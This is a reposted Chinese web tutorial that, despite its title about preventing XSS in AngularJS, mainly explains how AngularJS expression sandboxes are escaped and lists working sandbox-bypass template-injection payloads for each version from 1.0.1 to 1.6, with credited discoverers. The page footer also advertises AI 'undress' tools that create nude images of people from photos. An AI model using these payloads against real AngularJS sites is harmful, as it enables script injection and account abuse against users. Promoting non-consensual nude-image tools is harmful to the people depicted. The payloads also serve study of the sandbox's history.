Home Web Front-end JS Tutorial How AngularJs prevents XSS attacks

How AngularJs prevents XSS attacks

Apr 27, 2018 pm 02:07 PM
angularjs javascript attack

这次给大家带来AngularJs如何防止XSS攻击,AngularJs防止XSS攻击的注意事项有哪些,下面就是实战案例,一起来看一下。

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

{{1 + 1}}
Copy after login

在JS中会被转换成

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;
Copy after login

return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alert\u00281\u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;
Copy after login

angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
Copy after login

formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
}
Copy after login

还可以这样

'a'.constructor.prototype.charCodeAt=[].concat
Copy after login

当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}
Copy after login

具体的encodeEntities代码如下:

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PAIR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }).
replace(/</g, &#39;<&#39;).
replace(/>/g, '>');
}
Copy after login

具体执行

//这是输入代码 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""')+''
}}
//这是被覆盖影响的代码  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影响的
  }
 } else {
  v5 = l.x = "";//被影响的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影响的
  }
 } else {
  v2 = l.x = "";//被影响的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影响的
  v0 = v3.x = "" = v1;//被影响的
 }
 return v0;
};
return fn;
Copy after login
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)')+'' //注入了alert(1) 
}}
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;
Copy after login

下面附上一些代码,可以直接结合angularJs验证

不同版本的实现代码以及发现者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}
Copy after login
Copy after login

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
Copy after login

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'proto'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
Copy after login

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.proto,$).value,0,'alert(1)')()}}
Copy after login

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
Copy after login

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
Copy after login

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
Copy after login

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}
Copy after login

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
Copy after login

1.3.19   Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'proto'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}
Copy after login

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
Copy after login

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Copy after login

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
Copy after login

1.5.9 - 1.5.11   Jan Horn (Google)

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astNode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}
Copy after login

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}}
Copy after login
Copy after login

相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!

推荐阅读:

jQuery中使用for循环var与使用let有哪些区别

JS调用模式与this关键字使用详解

The above is the detailed content of How AngularJs prevents XSS attacks. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to implement an online speech recognition system using WebSocket and JavaScript How to implement an online speech recognition system using WebSocket and JavaScript Dec 17, 2023 pm 02:54 PM

How to use WebSocket and JavaScript to implement an online speech recognition system Introduction: With the continuous development of technology, speech recognition technology has become an important part of the field of artificial intelligence. The online speech recognition system based on WebSocket and JavaScript has the characteristics of low latency, real-time and cross-platform, and has become a widely used solution. This article will introduce how to use WebSocket and JavaScript to implement an online speech recognition system.

Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Nov 22, 2023 am 09:44 AM

Vue is a popular JavaScript framework that is widely used in web development. As the use of Vue continues to increase, developers need to pay attention to security issues to avoid common security vulnerabilities and attacks. This article will discuss the security matters that need to be paid attention to in Vue development to help developers better protect their applications from attacks. Validating user input In Vue development, validating user input is crucial. User input is one of the most common sources of security vulnerabilities. When handling user input, developers should always

WebSocket and JavaScript: key technologies for implementing real-time monitoring systems WebSocket and JavaScript: key technologies for implementing real-time monitoring systems Dec 17, 2023 pm 05:30 PM

WebSocket and JavaScript: Key technologies for realizing real-time monitoring systems Introduction: With the rapid development of Internet technology, real-time monitoring systems have been widely used in various fields. One of the key technologies to achieve real-time monitoring is the combination of WebSocket and JavaScript. This article will introduce the application of WebSocket and JavaScript in real-time monitoring systems, give code examples, and explain their implementation principles in detail. 1. WebSocket technology

How to use JavaScript and WebSocket to implement a real-time online ordering system How to use JavaScript and WebSocket to implement a real-time online ordering system Dec 17, 2023 pm 12:09 PM

Introduction to how to use JavaScript and WebSocket to implement a real-time online ordering system: With the popularity of the Internet and the advancement of technology, more and more restaurants have begun to provide online ordering services. In order to implement a real-time online ordering system, we can use JavaScript and WebSocket technology. WebSocket is a full-duplex communication protocol based on the TCP protocol, which can realize real-time two-way communication between the client and the server. In the real-time online ordering system, when the user selects dishes and places an order

How to implement an online reservation system using WebSocket and JavaScript How to implement an online reservation system using WebSocket and JavaScript Dec 17, 2023 am 09:39 AM

How to use WebSocket and JavaScript to implement an online reservation system. In today's digital era, more and more businesses and services need to provide online reservation functions. It is crucial to implement an efficient and real-time online reservation system. This article will introduce how to use WebSocket and JavaScript to implement an online reservation system, and provide specific code examples. 1. What is WebSocket? WebSocket is a full-duplex method on a single TCP connection.

JavaScript and WebSocket: Building an efficient real-time weather forecasting system JavaScript and WebSocket: Building an efficient real-time weather forecasting system Dec 17, 2023 pm 05:13 PM

JavaScript and WebSocket: Building an efficient real-time weather forecast system Introduction: Today, the accuracy of weather forecasts is of great significance to daily life and decision-making. As technology develops, we can provide more accurate and reliable weather forecasts by obtaining weather data in real time. In this article, we will learn how to use JavaScript and WebSocket technology to build an efficient real-time weather forecast system. This article will demonstrate the implementation process through specific code examples. We

Simple JavaScript Tutorial: How to Get HTTP Status Code Simple JavaScript Tutorial: How to Get HTTP Status Code Jan 05, 2024 pm 06:08 PM

JavaScript tutorial: How to get HTTP status code, specific code examples are required. Preface: In web development, data interaction with the server is often involved. When communicating with the server, we often need to obtain the returned HTTP status code to determine whether the operation is successful, and perform corresponding processing based on different status codes. This article will teach you how to use JavaScript to obtain HTTP status codes and provide some practical code examples. Using XMLHttpRequest

How to use insertBefore in javascript How to use insertBefore in javascript Nov 24, 2023 am 11:56 AM

Usage: In JavaScript, the insertBefore() method is used to insert a new node in the DOM tree. This method requires two parameters: the new node to be inserted and the reference node (that is, the node where the new node will be inserted).

See all articles